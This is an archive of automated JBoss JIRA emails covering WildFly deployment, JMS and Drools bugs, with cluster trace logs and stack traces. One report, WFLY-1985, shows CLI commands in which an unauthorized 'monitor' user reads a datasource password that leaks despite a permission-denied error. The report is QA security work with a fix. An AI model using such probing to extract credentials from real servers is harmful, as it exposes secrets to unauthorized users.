> 2013-08-30 09:50:21,986 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [NAKACK] (Incoming-18,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:21,986 TRACE [UDP] (Incoming-18,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:23,312 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:23,312 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:25,932 DEBUG [FD] (Timer-5,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:25,932 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:25,932 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,213 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,213 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:26,213 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:26,790 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:26,790 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:27,789 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM2:1299 (4 headers), size=391 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=11, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:27,789 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM2:1299#13
> 2013-08-30 09:50:28,116 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:28,116 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:31,595 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [NAKACK] (Incoming-4,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:31,595 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:32,921 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:32,921 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:35,948 DEBUG [FD] (Timer-3,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:35,948 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:35,948 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,228 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,228 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:36,228 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:36,400 TRACE [UDP] (Incoming-7,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:37,726 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:37,726 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:41,205 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:42,531 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:42,531 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#14
> 2013-08-30 09:50:42,890 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes]
> 2013-08-30 09:50:42,890 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [UDP] (Incoming-10,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [NAKACK] (Incoming-10,null) OM1:1299: received OM1:1299#14
> 2013-08-30 09:50:42,890 TRACE [MFC] (Incoming-10,null) OM1:1299 used 354 credits, 1997829 remaining
> 2013-08-30 09:50:44,824 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:44,824 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#14
> 2013-08-30 09:50:44,824 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep  3 09:41:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Tue, 3 Sep 2013 09:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1363) Updating deployment with
	dependant
In-Reply-To: <JIRA.12492100.1368803307000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492100.1368803307000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492100.1368803307000.6011.1378215663547@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1363?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801160#comment-12801160 ] 

Tomaz Cerar commented on WFLY-1363:
-----------------------------------

Did you try with jboss-all.xml and adding deployment dependency configuration?
                
> Updating deployment with dependant
> ----------------------------------
>
>                 Key: WFLY-1363
>                 URL: https://issues.jboss.org/browse/WFLY-1363
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>         Environment: Windows 7 64bit, JBoss 7.2.0.Final
>            Reporter: Bart Van Dosselaer
>            Assignee: Jason Greene
>              Labels: deployment
>         Attachments: jboss-deployment.zip
>
>
> I'm faced with a certain deployment issue, for which I've created a small maven project (see attachment) so anyone can easily reproduce this behaviour.
>  
> I have a scenario where I have two EAR deployments: base.ear and service.ear. The latter uses some services of the former. For this to work, it has all the necessary entries in its manifest.
> Once deployed, I can call the EJB from service.ear and the EJB from base.ear gets injected and used. No problems so far.
>  
> This works fine, until I want to update base.ear.
>  
> We have our own mechanism to update deployments (through the management API), but the same result can be achieved by deploying through the JBoss Admin console or JBoss CLI.
> So, when I update base.ear (just replace with the same base.ear file) it deploys fine and the invocation is successful. However, there's one line in the console which goes like:
> JBAS014777:   Services which failed to start:      service jboss.deployment.subunit."service.ear"."service-ejb.jar".FIRST_MODULE_USE: org.jboss.msc.service.StartException in service jboss.deployment.subunit."service.ear"."service-ejb.jar".FIRST_MODULE_USE: JBAS018733: Failed to process phase FIRST_MODULE_USE of subdepl
> oyment "service-ejb.jar" of deployment "service.ear"
> At this moment, the service.ear, and all its EJBs, isn't really deployed anymore. Or atleast, wrongfully deployed. Not sure how to call that state.
> One possibility is to invoke the :reload command (or restart the server), but ideally we'd like to not have this error in the first place.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 09:51:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 09:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-101) JMSService.start is doing
	blocking I/O
In-Reply-To: <JIRA.12489128.1365693199000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489128.1365693199000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489128.1365693199000.6036.1378216263441@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-101?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-101:
-----------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1003913

    
> JMSService.start is doing blocking I/O
> --------------------------------------
>
>                 Key: WFLY-101
>                 URL: https://issues.jboss.org/browse/WFLY-101
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> flag the start context as asynchronous

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 09:51:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 09:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-101) JMSService.start is doing
	blocking I/O
In-Reply-To: <JIRA.12489128.1365693199000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489128.1365693199000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489128.1365693199000.6039.1378216263589@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-101?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801167#comment-12801167 ] 

RH Bugzilla Integration commented on WFLY-101:
----------------------------------------------

Jeff Mesnil <jmesnil at redhat.com> made a comment on [bug 1003913|https://bugzilla.redhat.com/show_bug.cgi?id=1003913]

Description of problem:

JMSService.start is doing blocking I/O which is forbidden by the MSC service contract.
                
> JMSService.start is doing blocking I/O
> --------------------------------------
>
>                 Key: WFLY-101
>                 URL: https://issues.jboss.org/browse/WFLY-101
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> flag the start context as asynchronous

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 09:59:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 3 Sep 2013 09:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1985) read-attribute operation is
 leaking value when user is not authorized to read that attribute
In-Reply-To: <JIRA.12499794.1378194012000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499794.1378194012000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499794.1378194012000.6056.1378216743750@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1985?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801170#comment-12801170 ] 

Ladislav Thon commented on WFLY-1985:
-------------------------------------

Added tests and a proposed fix: https://github.com/bstansberry/wildfly/pull/30
                
> read-attribute operation is leaking value when user is not authorized to read that attribute
> --------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1985
>                 URL: https://issues.jboss.org/browse/WFLY-1985
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Brian Stansberry
>            Priority: Critical
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> This is affecting native interface and consequently CLI - HTTP and JMX have the correct behavior as they aren't simply forwarding the result of native interface. 
> {code}
> [standalone at localhost:9990 /] :whoami(verbose=true)
> {
>     "outcome" => "success",
>     "result" => {"identity" => {
>         "username" => "monitor",
>         "realm" => "ManagementRealm"
>     }}
> }
> [standalone at localhost:9990 /] /subsystem=datasources/data-source=ExampleDS:read-attribute(name=password)
> {
>     "outcome" => "failed",
>     "result" => "sa",
>     "failure-description" => "JBAS013456: Unauthorized to execute operation 'read-attribute' for resource '[
>     (\"subsystem\" => \"datasources\"),
>     (\"data-source\" => \"ExampleDS\")
> ]' -- \"Permission denied\"",
>     "rolled-back" => true
> }
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 09:59:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 09:59:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-236) NPE when ksession is
 serialized with facts logically inserted
In-Reply-To: <JIRA.12499263.1377254187000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499263.1377254187000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499263.1377254187000.6063.1378216744147@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-236?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801172#comment-12801172 ] 

RH Bugzilla Integration commented on DROOLS-236:
------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 1000385|https://bugzilla.redhat.com/show_bug.cgi?id=1000385] from MODIFIED to ON_QA
                
> NPE when ksession is serialized with facts logically inserted
> -------------------------------------------------------------
>
>                 Key: DROOLS-236
>                 URL: https://issues.jboss.org/browse/DROOLS-236
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 6.0.0.CR1
>            Reporter: Toshiya Kobayashi
>            Assignee: Edson Tirelli
>
> Reproduce steps:
> Assuming Employee is a subclass of Person...
> 1. Insert an Employee (say, 'Alice')
> 2. InsertLogical a Person (say, 'Bob')
> 3. Serialize and deserialize ksession
> 4. Insert an Employee (say, 'Claire')
> 5. Update 'Claire'
> It throws an NEP:
> {noformat}
> Exception executing consequence for rule "Promote" in defaultpkg: java.lang.NullPointerException
> 	at org.drools.core.runtime.rule.impl.DefaultConsequenceExceptionHandler.handleException(DefaultConsequenceExceptionHandler.java:39)
> 	at org.drools.core.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1026)
> ...
> Caused by: java.lang.NullPointerException
> 	at org.drools.core.common.NamedEntryPoint.update(NamedEntryPoint.java:434)
> 	at org.drools.core.base.DefaultKnowledgeHelper.update(DefaultKnowledgeHelper.java:367)
> 	at defaultpkg.Rule_Promote139773612.defaultConsequence(Rule_Promote139773612.java:9)
> 	at defaultpkg.Rule_Promote139773612DefaultConsequenceInvokerGenerated.evaluate(Unknown Source)
> 	at defaultpkg.Rule_Promote139773612DefaultConsequenceInvoker.evaluate(Unknown Source)
> 	at org.drools.core.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1016)
> 	... 37 more
> {noformat}
> In the step 2, ClassObjectTypeConf of Person[Bob] enables TMS. But at that time, Employee[Alice] creates its EqualityKey and put it to TMS.
> NamedEntryPoint.java:
> {code:java}
>     private void enableTMS(Object object, ObjectTypeConf conf) {
>         
>         final Rete source = this.ruleBase.getRete();
>         final ClassObjectType cot = new ClassObjectType( object.getClass() );
>         final Map<ObjectType, ObjectTypeNode> map = source.getObjectTypeNodes( EntryPointId.DEFAULT );
>         final ObjectTypeNode node = map.get( cot );
>         final ObjectHashSet memory = ((ObjectTypeNodeMemory) this.wm.getNodeMemory( node )).memory;
>       
>         // All objects of this type that are already there were certainly stated,
>         // since this method call happens at the first logical insert, for any given type.
>         org.drools.core.util.Iterator it = memory.iterator();
>         for ( Object obj = it.next(); obj != null; obj = it.next() ) {
>           
>             org.drools.core.util.ObjectHashSet.ObjectEntry holder = (org.drools.core.util.ObjectHashSet.ObjectEntry) obj;
>     
>             InternalFactHandle handle = (InternalFactHandle) holder.getValue();
>             
>             if ( handle != null) {
>                 EqualityKey key = new EqualityKey( handle );
>                 handle.setEqualityKey( key );
>                 key.setStatus(EqualityKey.STATED);
>                 getTruthMaintenanceSystem().put(key);
>             }
>         }
>       
>         // Enable TMS for this type.
>         conf.enableTMS();
>       
>     }
> {code}
> Then during deserialization, ProtobufInputMarshaller enables TMS for ClassObjectTypeConf of Employee[Alice] and ClassObjectTypeConf of Person[Bob]. 
> ProtobufInputMarshaller.java:
> {code:java}
>     public static void readTruthMaintenanceSystem( MarshallerReaderContext context, 
>                                                    RuleData _session ) throws IOException {
>         TruthMaintenanceSystem tms = context.wm.getTruthMaintenanceSystem();
>         ProtobufMessages.TruthMaintenanceSystem _tms = _session.getTms();
>         
>         for( ProtobufMessages.EqualityKey _key : _tms.getKeyList() ) {
>             InternalFactHandle handle = (InternalFactHandle) context.handles.get( _key.getHandleId() );
>             // ObjectTypeConf state is not marshalled, so it needs to be re-determined
>             ObjectTypeConf typeConf = context.wm.getObjectTypeConfigurationRegistry().getObjectTypeConf( ((NamedEntryPoint)handle.getEntryPoint()).getEntryPoint(),
>                                                                                                          handle.getObject() );
>             if (!typeConf.isTMSEnabled()) {
>                 typeConf.enableTMS();
>             }
> {code}
> Finally, Employee(Claire) is updated. ClassObjectTypeConf of Employee is under TMS but Claire doesn't have EqualityKey hence NPE is thrown.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:01:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:01:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-182) Timed rules can disrupt
 other activations as they are being fired
In-Reply-To: <JIRA.12495346.1372432536000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495346.1372432536000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495346.1372432536000.6068.1378216864513@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-182?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801173#comment-12801173 ] 

RH Bugzilla Integration commented on DROOLS-182:
------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 995198|https://bugzilla.redhat.com/show_bug.cgi?id=995198] from MODIFIED to ON_QA
                
> Timed rules can disrupt other activations as they are being fired
> -----------------------------------------------------------------
>
>                 Key: DROOLS-182
>                 URL: https://issues.jboss.org/browse/DROOLS-182
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.1.Final, 6.0.0.Beta3
>            Reporter: Davide Sottara
>            Assignee: Mark Proctor
>            Priority: Blocker
>
> Timer-driven rules are executed by separated thread. One such thread may retract a fact which is being used by the (main) thread in a rule being fired. This preemption will lead to a NPE

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:01:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:01:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBRULES-3201) Sliding windows - Rule is
 being fired even when LHS is false
In-Reply-To: <JIRA.12446216.1315202901000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12446216.1315202901000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12446216.1315202901000.6076.1378216864846@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBRULES-3201?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801174#comment-12801174 ] 

RH Bugzilla Integration commented on JBRULES-3201:
--------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 995140|https://bugzilla.redhat.com/show_bug.cgi?id=995140] from MODIFIED to ON_QA
                
> Sliding windows - Rule is being fired even when LHS is false
> ------------------------------------------------------------
>
>                 Key: JBRULES-3201
>                 URL: https://issues.jboss.org/browse/JBRULES-3201
>             Project: JBRULES
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: drools-core (fusion)
>    Affects Versions: 5.3.0.Beta1
>         Environment: Linux
>            Reporter: eyal rahamim
>            Assignee: Mark Proctor
>              Labels: `
>         Attachments: windowLength.drl, WindowLength.java
>
>
> I have a rule that accumulate fact into sliding window.  When the count get to a certain threshold the rule should be activated.  After the window time is over, I expect that the rule will not fired anymore.  The counter of the fact is report as 0, but still the rule is being executed.
> drl :
> package com.sample;
> import com.sample.WindowLength.FactTest;
> declare FactTest
>   @role( event )  
> end
>  
> rule "A500 : test"
> when
> 		// count devices per tag id
> 		$counter : Number( intValue >= 2 ) from accumulate (
> 			 $d : FactTest() over window:time(1m), count($d))
> 			
> then
> 		System.out.println("A500: Rule is fired, count = " + $counter + " *********");
> end
> scenario:
> ksession.insert(new FactTest());
> ksession.fireAllRules();
> ksession.insert(new FactTest());
> ksession.fireAllRules();
> ksession.insert(new FactTest());
> ksession.fireAllRules();
> SessionPseudoClock clock = ksession.getSessionClock();
> clock.advanceTime(1, TimeUnit.MINUTES );
> ksession.fireAllRules();
> Result:
> A500: Rule is fired, count = 2 *********
> A500: Rule is fired, count = 3 *********
> A500: Rule is fired, count = 0 *********

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:01:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:01:04 -0400 (EDT)
